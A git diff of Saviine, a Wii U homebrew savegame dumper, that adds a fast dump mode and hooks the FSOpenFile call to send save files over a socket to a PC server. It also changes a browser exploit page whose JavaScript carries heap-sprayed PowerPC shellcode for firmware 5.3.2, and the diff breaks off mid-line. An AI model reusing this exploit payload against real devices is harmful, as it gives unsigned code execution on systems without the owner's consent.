diff --git a/README b/README index 1cb6622..5b1c273 100644 --- a/README +++ b/README @@ -1,12 +1,12 @@ -Saviine 0.1 +Saviine 0.2 Compatible with 5.3.2 fw dumps WiiU Saves and is a mod of cafiine. Thanks to everyone who worked on cafiine! Compilation : -- in order to compile cafiine you need to put the cafiine folder in your libwiiu project -- libwiiu/cafiine/installer must be compiled like the other libwiiu examples (with the build.py script) +- in order to compile saviine you need to put the saviine folder in your libwiiu project +- libwiiu/saviine/installer must be compiled like the other libwiiu examples (with the build.py script) Pre-made version : - in www/saviine, it is already compiled, just put the folder in your server @@ -15,10 +15,16 @@ Note : - you can change the server ip directly in the application. - start the saviine in folder with a short path, some savedata files have some really long names (170+ chracters) - backup your savedata before dumping it!!! I'm not responsible for any lost data. +- fastmode doesn't work for all games. How to use : +Usage: +Normal mode: saviine_server.exe +Fast mode: saviine_server.exe fastmode + - launch the kernel exploit in the brower - open saviine server in your computer, check your ip +(you can start the server in fastmode (faster dumper), this doesn't work for all games. Only use it when the savegame is really big (e.g. Super Smash Bros for WiiU) ) - relaunch browser and launch saviine app, set saviine server ip in the application with up/down/left/right, and press A to install saviine -> browser should exit - launch a game or application diff --git a/saviine/client/main.c b/saviine/client/main.c index 16dfe4c..20b88af 100644 --- a/saviine/client/main.c +++ b/saviine/client/main.c @@ -15,7 +15,18 @@ extern FSStatus FSCloseDir(FSClient *pClient, FSCmdBlock *pCmd, int dh, FSRetFla extern FSStatus FSReadFile(FSClient *pClient, FSCmdBlock *pCmd, void *buffer, int size, int count, int fd, int flag, int error); extern FSStatus FSSetPosFile(FSClient *pClient, FSCmdBlock *pCmd, int fd, int pos, int error); extern FSStatus FSCloseFile (FSClient *pClient, FSCmdBlock *pCmd, int fd, int error); -extern FSStatus FSOpenFile(FSClient *pClient, FSCmdBlock *pCmd, char *path, const char *mode, int *handle, int error); +extern void OSDynLoad_Acquire (char* rpl, unsigned int *handle); +extern void OSDynLoad_FindExport (unsigned int handle, int isdata, char *symbol, void *address); +void GX2WaitForVsync(void); +static void dump_saves(void *pClient, void *pCmd,int error, int client); +// Async +typedef void (*FSAsyncCallback)(void *pClient, void *pCmd, int result, void *context); +typedef struct +{ + FSAsyncCallback userCallback; + void *userContext; + void *ioMsgQueue; +} FSAsyncParams; DECL(int, FSAInit, void) { if ((int)bss_ptr == 0x0a000000) { @@ -43,9 +54,6 @@ DECL(int, FSADelClient, int client) { return real_FSADelClient(client); } -DECL(int, FSAOpenFile, int client, const char *path, const char *mode, int *handle) { - return real_FSAOpenFile(client, path, mode, handle); -} static int client_num_alloc(void *pClient) { int i; @@ -57,9 +65,11 @@ static int client_num_alloc(void *pClient) { } return -1; } + static void clietn_num_free(int client) { bss.pClient_fs[client] = 0; } + static int client_num(void *pClient) { int i; @@ -69,12 +79,53 @@ static int client_num(void *pClient) { return -1; } +DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error) { + + if ((int)bss_ptr != 0x0a000000) { + int client = client_num(pClient); + if (client < MAX_CLIENT && client >= 0) { + if(bss.savesDumped == 0){ + dump_saves(pClient,pCmd,error,client); + bss.savesDumped = 1; + } + } + } -struct fs_async_t { - void (*callback)(int status, int command, void *request, void *response, void *context); - void *context; - void *queue; -}; + return real_FSOpenFile(pClient, pCmd, path, mode, handle, error); +} + +static void init_Save(){ + int (*SAVEInit)(); + unsigned int save_handle; + char buffer[50]; + int i = 0; + buffer[i++] = 'n'; + buffer[i++] = 'n'; + buffer[i++] = '_'; + buffer[i++] = 's'; + buffer[i++] = 'a'; + buffer[i++] = 'v'; + buffer[i++] = 'e'; + buffer[i++] = '.'; + buffer[i++] = 'r'; + buffer[i++] = 'p'; + buffer[i++] = 'l'; + buffer[i++] = '\0'; + OSDynLoad_Acquire(buffer, &save_handle); + i = 0; + buffer[i++] = 'S'; + buffer[i++] = 'A'; + buffer[i++] = 'V'; + buffer[i++] = 'E'; + buffer[i++] = 'I'; + buffer[i++] = 'n'; + buffer[i++] = 'i'; + buffer[i++] = 't'; + buffer[i++] = '\0'; + + OSDynLoad_FindExport(save_handle, 0, buffer, &SAVEInit); + SAVEInit(); +} #define DUMP_BLOCK_SIZE (0x200 * 100) #define DUMP_BLOCK_SIZE_SLOW (0x20 * 100) @@ -89,7 +140,7 @@ static int dump_dir(void *pClient,int client, void *pCmd, char *path, int error, new_mode[1] = '\0'; FSDirEntry dir_entry; - while (FSReadDir(pClient, pCmd, dir_handle, &dir_entry, FS_RET_ALL_ERROR) == FS_STATUS_OK) + while (FSReadDir(pClient, pCmd, dir_handle, &dir_entry, FS_RET_ALL_ERROR) == FS_STATUS_OK) { char full_path[255]; int i=0; @@ -105,6 +156,7 @@ static int dump_dir(void *pClient,int client, void *pCmd, char *path, int error, full_path[i++] = '\0'; log_string(bss.socket_fsa[client], full_path, BYTE_LOG_STR); + if((dir_entry.stat.flag&FS_STAT_FLAG_IS_DIRECTORY) == FS_STAT_FLAG_IS_DIRECTORY){ char type[4]; type[0] = 'd'; @@ -112,7 +164,7 @@ static int dump_dir(void *pClient,int client, void *pCmd, char *path, int error, type[2] = 'r'; type[3] = '\0'; log_string(bss.socket_fsa[client], type, BYTE_LOG_STR); - dump_dir(pClient,client,pCmd,full_path,error,my_handle); + dump_dir(pClient,client, pCmd,full_path,-1,my_handle); }else{ char type[5]; type[0] = 'f'; @@ -121,70 +173,38 @@ static int dump_dir(void *pClient,int client, void *pCmd, char *path, int error, type[3] = 'e'; type[4] = '\0'; log_string(bss.socket_fsa[client], type, BYTE_LOG_STR); + //DUMP - ret = FSOpenFile(pClient, pCmd, full_path, new_mode, &my_handle, error); - if (ret >= 0) { - int my_ret = 1; + ret = real_FSOpenFile(pClient, pCmd, full_path, new_mode, &my_handle, FS_RET_ALL_ERROR); + if (ret >= 0) { + int my_ret = cafiine_send_handle(bss.socket_fsa[client], client, full_path, my_handle); log_string(bss.socket_fsa[client], full_path, BYTE_LOG_STR); + int size = (my_ret == 1 ? DUMP_BLOCK_SIZE : DUMP_BLOCK_SIZE_SLOW); - cafiine_send_handle(bss.socket_fsa[client], client, full_path, my_handle); - void* buffer = memalign(sizeof(char) * size, 0x40); - int ret2; - while ((ret2 = FSReadFile(pClient, pCmd, buffer, 1, size, my_handle, 0, error)) > 0) + void * buffer = memalign(sizeof(char) * size, 0x40); + int ret2; + while ((ret2 = FSReadFile(pClient, pCmd, buffer, 1, size, my_handle, 0, 0)) > 0) cafiine_send_file(bss.socket_fsa[client], buffer, ret2, my_handle); - cafiine_fclose(bss.socket_fsa[client], &ret2, my_handle); - FSSetPosFile(pClient, pCmd, my_handle, 0, error); + cafiine_fclose(bss.socket_fsa[client], &ret2, my_handle); + FSSetPosFile(pClient, pCmd, my_handle, 0, FS_RET_ALL_ERROR); free(buffer); - FSCloseFile(pClient, pCmd, my_handle, -1); - } - } + FSCloseFile(pClient, pCmd, my_handle, -1); + }else{ + type[0] = '9' + ret; + type[1] = '0'; + log_string(bss.socket_fsa[client], type, BYTE_LOG_STR); + } + } + } - FSCloseDir(pClient, pCmd, dir_handle, FS_RET_NO_ERROR); - }else{ - /* - char error[3]; - error[0] = '-'; - error[1] = (ret*-1) + '0'; - error[2] = '\0'; */ - //log_string(bss.socket_fsa[client], foo, BYTE_LOG_STR); - return -1; - } + FSCloseDir(pClient, pCmd, dir_handle, FS_RET_NO_ERROR); + } return 0; } -DECL(int, FSInit, void) { - if ((int)bss_ptr == 0x0a000000) { - bss_ptr = memalign(sizeof(struct bss_t), 0x40); - memset(bss_ptr, 0, sizeof(struct bss_t)); - } - return real_FSInit(); -} -DECL(int, FSShutdown, void) { - return real_FSShutdown(); -} -DECL(int, FSAddClientEx, void *r3, void *r4, void *r5) { - int res = real_FSAddClientEx(r3, r4, r5); - - if ((int)bss_ptr != 0x0a000000 && res >= 0) { - int client = client_num_alloc(r3); - if (client < MAX_CLIENT && client >= 0) { - cafiine_connect(&bss.socket_fs[client]); - } - } - return res; -} -DECL(int, FSDelClient, void *pClient) { - if ((int)bss_ptr != 0x0a000000) { - int client = client_num(pClient); - if (client < MAX_CLIENT && client >= 0) { - cafiine_disconnect(bss.socket_fs[client]); - clietn_num_free(client); - } - } - return real_FSDelClient(pClient); -} - static void dump_saves(void *pClient, void *pCmd,int error, int client){ + init_Save(); + int i = 0; char save_path[255]; char save_user[9]; @@ -238,7 +258,7 @@ static void dump_saves(void *pClient, void *pCmd,int error, int client){ int id = 1; do{ //log_string(bss.socket_fsa[client], save_path, BYTE_LOG_STR); - if (dump_dir(pClient,client,pCmd,save_path,error,50) == 0);// id = 257; // break if successful + if (dump_dir(pClient,client,pCmd,save_path,-1,50) == 0);// id = 257; // break if successful int first = id/16; int seconds = id%16; if(first <= 9) @@ -276,18 +296,36 @@ static void dump_saves(void *pClient, void *pCmd,int error, int client){ log_string(bss.socket_fsa[client], info, BYTE_LOG_STR); } -DECL(int, FSGetStat, void *pClient, void *pCmd, char *path, void *stats, int error) { +DECL(int, FSInit, void) { + if ((int)bss_ptr == 0x0a000000) { + bss_ptr = memalign(sizeof(struct bss_t), 0x40); + memset(bss_ptr, 0, sizeof(struct bss_t)); + } + return real_FSInit(); +} +DECL(int, FSShutdown, void) { + return real_FSShutdown(); +} +DECL(int, FSAddClientEx, void *r3, void *r4, void *r5) { + int res = real_FSAddClientEx(r3, r4, r5); + + if ((int)bss_ptr != 0x0a000000 && res >= 0) { + int client = client_num_alloc(r3); + if (client < MAX_CLIENT && client >= 0) { + cafiine_connect(&bss.socket_fs[client]); + } + } + return res; +} +DECL(int, FSDelClient, void *pClient) { if ((int)bss_ptr != 0x0a000000) { int client = client_num(pClient); - if (client < MAX_CLIENT && client >= 0) { - if(bss.savesDumped == 0){ - dump_saves(pClient,pCmd,error,client); - bss.savesDumped = 2; - } - } + cafiine_disconnect(bss.socket_fs[client]); + clietn_num_free(client); + } } - return real_FSGetStat(pClient, pCmd, path, stats, error); + return real_FSDelClient(pClient); } #define MAKE_MAGIC(x) { x, my_ ## x, &real_ ## x } @@ -300,9 +338,8 @@ struct magic_t { MAKE_MAGIC(FSAInit), MAKE_MAGIC(FSAShutdown), MAKE_MAGIC(FSAAddClient), - MAKE_MAGIC(FSADelClient), - MAKE_MAGIC(FSAOpenFile), - MAKE_MAGIC(FSGetStat), + MAKE_MAGIC(FSADelClient), + MAKE_MAGIC(FSOpenFile), MAKE_MAGIC(FSInit), MAKE_MAGIC(FSShutdown), MAKE_MAGIC(FSAddClientEx), diff --git a/saviine/client/main.h b/saviine/client/main.h index f21c115..b3fef77 100644 --- a/saviine/client/main.h +++ b/saviine/client/main.h @@ -55,7 +55,7 @@ struct bss_t { void cafiine_connect(int *socket); void cafiine_disconnect(int socket); int cafiine_fopen(int socket, int *result, const char *path, const char *mode, int *handle); -void cafiine_send_handle(int sock, int client, const char *path, int handle); +int cafiine_send_handle(int sock, int client, const char *path, int handle); void cafiine_send_file(int sock, char *file, int size, int fd); int cafiine_fread(int socket, int *result, void *buffer, int size, int count, int fd); int cafiine_fclose(int socket, int *result, int fd); diff --git a/saviine/client/saviine.c b/saviine/client/saviine.c index ba9110b..409a643 100644 --- a/saviine/client/saviine.c +++ b/saviine/client/saviine.c @@ -18,8 +18,8 @@ static int cafiine_handshake(int sock); //#define BYTE_STATFILE 0x05 //#define BYTE_EOF 0x06 //#define BYTE_GETPOS 0x07 -//#define BYTE_REQUEST 0x08 -//#define BYTE_REQUEST_SLOW 0x09 +#define BYTE_REQUEST 0x08 +#define BYTE_REQUEST_SLOW 0x09 #define BYTE_HANDLE 0x0A #define BYTE_DUMP 0x0B #define BYTE_PING 0x0C @@ -80,11 +80,11 @@ error: } -void cafiine_send_handle(int sock, int client, const char *path, int handle) +int cafiine_send_handle(int sock, int client, const char *path, int handle) { while (bss.lock) GX2WaitForVsync(); bss.lock = 1; - + CHECK_ERROR(sock == -1); // create and send buffer with : [cmd id][handle][path length][path data ...] @@ -104,14 +104,23 @@ void cafiine_send_handle(int sock, int client, const char *path, int handle) ret = sendwait(sock, buffer, 1 + 4 + 4 + len_path); CHECK_ERROR(ret < 0); - // wait reply + // wait reply ret = recvbyte(sock); - CHECK_ERROR(ret != BYTE_SPECIAL); + if(ret == BYTE_REQUEST){ + ret = 1; + }else{ + ret = 2; + } + // wait reply + int special_ret = recvbyte(sock); + CHECK_ERROR(special_ret != BYTE_SPECIAL); + bss.lock = 0; + return ret; } error: bss.lock = 0; - return; + return -1; } void cafiine_send_file(int sock, char *file, int size, int fd) { diff --git a/saviine/client/saviine532.ld b/saviine/client/saviine532.ld index b3e8378..ee802ed 100644 --- a/saviine/client/saviine532.ld +++ b/saviine/client/saviine532.ld @@ -29,6 +29,8 @@ PROVIDE(FSShutdown = 0x1068538); PROVIDE(FSAddClientEx = 0x10685fc); PROVIDE(FSDelClient = 0x1068a08); PROVIDE(FSOpenFile = 0x106ef7c); +PROVIDE(FSOpenFileAsync = 0x0106a434); + PROVIDE(FSCloseFile = 0x106f088); PROVIDE(FSReadFile = 0x106f108); PROVIDE(FSReadFileWithPos = 0x106f194); @@ -67,4 +69,8 @@ PROVIDE(MEMAllocFromDefaultHeapEx = 0x1004e9c0); PROVIDE(MEMFreeToDefaultHeap = 0x100b487c); /* OS data */ -PROVIDE(title_id = 0x100136D0); \ No newline at end of file +PROVIDE(title_id = 0x100136D0); + +/* Libs */ +PROVIDE(OSDynLoad_FindExport = 0x102b790); +PROVIDE(OSDynLoad_Acquire = 0x102a31c); \ No newline at end of file diff --git a/saviine/server/fastmode.bat b/saviine/server/fastmode.bat new file mode 100644 index 0000000..449152e --- /dev/null +++ b/saviine/server/fastmode.bat @@ -0,0 +1 @@ +saviine_server.exe fastmode \ No newline at end of file diff --git a/saviine/server/saviine_server.exe b/saviine/server/saviine_server.exe index dab8131..e0be4f6 100644 Binary files a/saviine/server/saviine_server.exe and b/saviine/server/saviine_server.exe differ diff --git a/saviine/server/src/Program.cs b/saviine/server/src/Program.cs index ae0477b..72959a4 100644 --- a/saviine/server/src/Program.cs +++ b/saviine/server/src/Program.cs @@ -21,8 +21,8 @@ namespace saviine_server //public const byte BYTE_STATFILE = 0x05; //public const byte BYTE_EOF = 0x06; //public const byte BYTE_GETPOS = 0x07; - //public const byte BYTE_REQUEST = 0x08; - //public const byte BYTE_REQUEST_SLOW = 0x09; + public const byte BYTE_REQUEST = 0x08; + public const byte BYTE_REQUEST_SLOW = 0x09; public const byte BYTE_HANDLE = 0x0A; public const byte BYTE_DUMP = 0x0B; public const byte BYTE_PING = 0x0C; @@ -74,17 +74,22 @@ namespace saviine_server public static string logs_root = "logs"; const uint BUFFER_SIZE = 64 * 1024; - + static Boolean fastmode = false; static void Main(string[] args) { if (args.Length > 1) { - Console.Error.WriteLine("Usage: saviine_server [rootdir]"); + Console.Error.WriteLine("Usage: saviine_server [fastmode|fast]"); return; } if (args.Length == 1) { - root = args[0]; + if (args[0].Equals("fastmode") || args[0].Equals("fast") || args[0].Equals("-fast")) + { + fastmode = true; + Console.WriteLine("Now using fastmode"); + } + } // Check for cafiine_root and logs folder if (!Directory.Exists(root)) @@ -156,9 +161,7 @@ namespace saviine_server uint[] ids = reader.ReadUInt32s(4); - // Log connection - Console.WriteLine(name + " Accepted connection from client " + client.Client.RemoteEndPoint.ToString()); - Console.WriteLine(name + " TitleID: " + ids[0].ToString("X8") + "-" + ids[1].ToString("X8")); + string LocalRoot = root + "\\" + ids[0].ToString("X8") + "-" + ids[1].ToString("X8") + "\\"; @@ -174,6 +177,9 @@ namespace saviine_server Directory.CreateDirectory(LocalRoot); } } + // Log connection + Console.WriteLine(name + " Accepted connection from client " + client.Client.RemoteEndPoint.ToString()); + Console.WriteLine(name + " TitleID: " + ids[0].ToString("X8") + "-" + ids[1].ToString("X8")); // Create log file for current thread log = new StreamWriter(logs_root + "\\" + DateTime.Now.ToString("yyyy-MM-dd") + "-" + name + "-" + ids[0].ToString("X8") + "-" + ids[1].ToString("X8") + ".txt", true, Encoding.ASCII, 1024*64); @@ -201,7 +207,16 @@ namespace saviine_server // Add new file for incoming data files_request.Add(fd, new FileStream(LocalRoot + path, FileMode.OpenOrCreate, FileAccess.Write, FileShare.Write)); - + // Send response + if (fastmode) { + Log(log, "fast"); + writer.Write(BYTE_REQUEST); + } + else + { + Log(log, "slow"); + writer.Write(BYTE_REQUEST_SLOW); + } // Send response writer.Write(BYTE_SPECIAL); break; @@ -230,8 +245,7 @@ namespace saviine_server break; } - } - + } // Send response writer.Write(BYTE_SPECIAL); break; diff --git a/saviine/server/src/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/saviine/server/src/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache deleted file mode 100644 index 814ec97..0000000 Binary files a/saviine/server/src/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache and /dev/null differ diff --git a/saviine/server/src/obj/x86/Debug/saviine_server.csproj.FileListAbsolute.txt b/saviine/server/src/obj/x86/Debug/saviine_server.csproj.FileListAbsolute.txt deleted file mode 100644 index 1e48085..0000000 --- a/saviine/server/src/obj/x86/Debug/saviine_server.csproj.FileListAbsolute.txt +++ /dev/null @@ -1,6 +0,0 @@ -G:\Programmieren\libwiiu-master\saviine\saviine\server\src\bin\saviine_server.exe.config -G:\Programmieren\libwiiu-master\saviine\saviine\server\src\bin\saviine_server.exe -G:\Programmieren\libwiiu-master\saviine\saviine\server\src\bin\saviine_server.pdb -G:\Programmieren\libwiiu-master\saviine\saviine\server\src\obj\x86\Debug\saviine_server.csprojResolveAssemblyReference.cache -G:\Programmieren\libwiiu-master\saviine\saviine\server\src\obj\x86\Debug\saviine_server.exe -G:\Programmieren\libwiiu-master\saviine\saviine\server\src\obj\x86\Debug\saviine_server.pdb diff --git a/saviine/server/src/obj/x86/Debug/saviine_server.csprojResolveAssemblyReference.cache b/saviine/server/src/obj/x86/Debug/saviine_server.csprojResolveAssemblyReference.cache deleted file mode 100644 index 62c1799..0000000 Binary files a/saviine/server/src/obj/x86/Debug/saviine_server.csprojResolveAssemblyReference.cache and /dev/null differ diff --git a/saviine/server/src/obj/x86/Debug/saviine_server.exe b/saviine/server/src/obj/x86/Debug/saviine_server.exe deleted file mode 100644 index dab8131..0000000 Binary files a/saviine/server/src/obj/x86/Debug/saviine_server.exe and /dev/null differ diff --git a/saviine/server/src/obj/x86/Debug/saviine_server.pdb b/saviine/server/src/obj/x86/Debug/saviine_server.pdb deleted file mode 100644 index fba0c85..0000000 Binary files a/saviine/server/src/obj/x86/Debug/saviine_server.pdb and /dev/null differ diff --git a/saviine/server/src/saviine_server.v12.suo b/saviine/server/src/saviine_server.v12.suo index 59e1a3f..e128af7 100644 Binary files a/saviine/server/src/saviine_server.v12.suo and b/saviine/server/src/saviine_server.v12.suo differ diff --git a/www/saviine/payload532.html b/www/saviine/payload532.html index 442d1e3..309727d 100644 --- a/www/saviine/payload532.html +++ b/www/saviine/payload532.html @@ -55,37 +55,37 @@ function sprayInc(n) { } function sprayCode(n) { - var str = unescape("%ucafe%ucafe%u9421%ufe90%u7c08%u02a6%u9001%u0174%u93e1%u016c%u7c3f%u0b78%u3c20%u1ab5%u6021%ud138%u395f%u0030%u3d20%u0102%u6129%ua31c%u3d00%u0180%u3868%u1cdc%u7d44%u5378%u7d29%u03a6%u4e80%u0421"); - str += unescape("%u811f%u0030%u395f%u0034%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1cec%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0038%u3d20%u0102%u6129%ub790%u7d03%u4378"); - str += unescape("%u3880%u0000%u3d00%u0180%u38a8%u1cf4%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u003c%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1d04%u7d46%u5378%u7d29%u03a6"); - str += unescape("%u4e80%u0421%u813f%u0034%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1d1c%u7d29%u03a6%u4e80%u0421%u813f%u0038%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180"); - str += unescape("%u386a%u1d38%u7d29%u03a6%u4e80%u0421%u813f%u003c%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1d58%u7d29%u03a6%u4e80%u0421%u813f%u003c%u3c60%ua000%u7d29%u03a6%u4e80%u0421"); - str += unescape("%u7c6a%u1b78%u3d20%u3100%u7f8a%u4800%u419e%u0020%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1d84%u7d29%u03a6%u4e80%u0421%u4800%u07bc%u3d20%uc0a8%u6129%u010a%u913f%u0040%u811f%u0030%u395f%u0044"); - str += unescape("%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1d90%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0048%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180"); - str += unescape("%u38a8%u1da0%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u004c%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1db8%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030"); - str += unescape("%u395f%u0050%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1dcc%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0054%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000"); - str += unescape("%u3d00%u0180%u38a8%u1de4%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0058%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1dfc%u7d46%u5378%u7d29%u03a6%u4e80%u0421"); + var str = unescape("%ucafe%ucafe%u9421%ufe90%u7c08%u02a6%u9001%u0174%u93e1%u016c%u7c3f%u0b78%u3c20%u1ab5%u6021%ud138%u395f%u0030%u3d20%u0102%u6129%ua31c%u3d00%u0180%u3868%u1e30%u7d44%u5378%u7d29%u03a6%u4e80%u0421"); + str += unescape("%u811f%u0030%u395f%u0034%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1e40%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0038%u3d20%u0102%u6129%ub790%u7d03%u4378"); + str += unescape("%u3880%u0000%u3d00%u0180%u38a8%u1e48%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u003c%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1e58%u7d46%u5378%u7d29%u03a6"); + str += unescape("%u4e80%u0421%u813f%u0034%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1e70%u7d29%u03a6%u4e80%u0421%u813f%u0038%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180"); + str += unescape("%u386a%u1e8c%u7d29%u03a6%u4e80%u0421%u813f%u003c%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1eac%u7d29%u03a6%u4e80%u0421%u813f%u003c%u3c60%ua000%u7d29%u03a6%u4e80%u0421"); + str += unescape("%u7c6a%u1b78%u3d20%u3100%u7f8a%u4800%u419e%u0020%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1ed8%u7d29%u03a6%u4e80%u0421%u4800%u07bc%u3d20%uc0a8%u6129%u010a%u913f%u0040%u811f%u0030%u395f%u0044"); + str += unescape("%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1ee4%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0048%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180"); + str += unescape("%u38a8%u1ef4%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u004c%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1f0c%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030"); + str += unescape("%u395f%u0050%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1f20%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0054%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000"); + str += unescape("%u3d00%u0180%u38a8%u1f38%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0058%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1f50%u7d46%u5378%u7d29%u03a6%u4e80%u0421"); str += unescape("%u3920%u0000%u913f%u0014%u3920%u0000%u913f%u0018%u3920%u0000%u913f%u001c%u813f%u0044%u7d29%u03a6%u4e80%u0421%u813f%u0048%u3860%u0000%u7d29%u03a6%u4e80%u0421%u7c69%u1b78%u913f%u0014%u813f%u0048"); str += unescape("%u3860%u0001%u7d29%u03a6%u4e80%u0421%u7c69%u1b78%u913f%u0018%u813f%u004c%u3860%u0000%u3c80%uf400%u7d29%u03a6%u4e80%u0421%u813f%u004c%u815f%u0014%u3d4a%uf400%u3860%u0001%u7d44%u5378%u7d29%u03a6"); str += unescape("%u4e80%u0421%u813f%u0050%u3860%u0000%u809f%u001c%u7d29%u03a6%u4e80%u0421%u813f%u0050%u3860%u0001%u809f%u001c%u7d29%u03a6%u4e80%u0421%u813f%u0038%u3c60%uf400%u809f%u0014%u7d29%u03a6%u4e80%u0421"); str += unescape("%u813f%u0038%u815f%u0014%u3d4a%uf400%u7d43%u5378%u809f%u0018%u7d29%u03a6%u4e80%u0421%u813f%u0054%u3860%u0000%u7d29%u03a6%u4e80%u0421%u813f%u0054%u3860%u0001%u7d29%u03a6%u4e80%u0421%u395f%u005c"); - str += unescape("%u3d20%u0102%u6129%ua31c%u3d00%u0180%u3868%u1e10%u7d44%u5378%u7d29%u03a6%u4e80%u0421%u811f%u005c%u395f%u0060%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1e1c%u7d46%u5378"); + str += unescape("%u3d20%u0102%u6129%ua31c%u3d00%u0180%u3868%u1f64%u7d44%u5378%u7d29%u03a6%u4e80%u0421%u811f%u005c%u395f%u0060%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1f70%u7d46%u5378"); str += unescape("%u7d29%u03a6%u4e80%u0421%u3920%u0003%u993f%u0008%u3920%u0001%u993f%u0009%u813f%u0060%u391f%u0068%u395f%u0064%u3860%u0000%u7d04%u4378%u38a0%u0001%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u893f%u0009"); str += unescape("%u5529%u063e%u2f89%u0000%u419e%u0028%u813f%u0054%u3860%u0001%u7d29%u03a6%u4e80%u0421%u813f%u0050%u3860%u0001%u3880%u0000%u7d29%u03a6%u4e80%u0421%u813f%u0058%u3860%u0001%u3880%u0012%u38a0%u0001"); - str += unescape("%u3d40%u0180%u38ca%u1e28%u7d29%u03a6%u4e80%u0421%u893f%u0040%u5529%u063e%u7d27%u4b78%u893f%u0041%u5529%u063e%u7d28%u4b78%u893f%u0042%u5529%u063e%u895f%u0043%u554a%u063e%u38df%u0114%u3ca0%u0102"); - str += unescape("%u60ab%uf09c%u7cc3%u3378%u3880%u0050%u3cc0%u0180%u38a6%u1e48%u3cc0%u0180%u38c6%u1e60%u7d69%u03a6%u4cc6%u3182%u4e80%u0421%u813f%u0058%u395f%u0114%u3860%u0001%u3880%u0000%u38a0%u0005%u7d46%u5378"); - str += unescape("%u7d29%u03a6%u4e80%u0421%u813f%u0058%u3860%u0001%u3880%u0000%u38a0%u0006%u3d40%u0180%u38ca%u1e70%u7d29%u03a6%u4e80%u0421%u813f%u0058%u3860%u0001%u3880%u002a%u38a0%u0011%u3d40%u0180%u38ca%u1e90"); - str += unescape("%u7d29%u03a6%u4e80%u0421%u893f%u0008%u5529%u103a%u5529%u063e%u3929%u000f%u993f%u0020%u813f%u0058%u895f%u0020%u554a%u063e%u3860%u0001%u7d44%u5378%u38a0%u0004%u3d40%u0180%u38ca%u1ea8%u7d29%u03a6"); + str += unescape("%u3d40%u0180%u38ca%u1f7c%u7d29%u03a6%u4e80%u0421%u893f%u0040%u5529%u063e%u7d27%u4b78%u893f%u0041%u5529%u063e%u7d28%u4b78%u893f%u0042%u5529%u063e%u895f%u0043%u554a%u063e%u38df%u0114%u3ca0%u0102"); + str += unescape("%u60ab%uf09c%u7cc3%u3378%u3880%u0050%u3cc0%u0180%u38a6%u1f9c%u3cc0%u0180%u38c6%u1fb4%u7d69%u03a6%u4cc6%u3182%u4e80%u0421%u813f%u0058%u395f%u0114%u3860%u0001%u3880%u0000%u38a0%u0005%u7d46%u5378"); + str += unescape("%u7d29%u03a6%u4e80%u0421%u813f%u0058%u3860%u0001%u3880%u0000%u38a0%u0006%u3d40%u0180%u38ca%u1fc4%u7d29%u03a6%u4e80%u0421%u813f%u0058%u3860%u0001%u3880%u002a%u38a0%u0011%u3d40%u0180%u38ca%u1fe4"); + str += 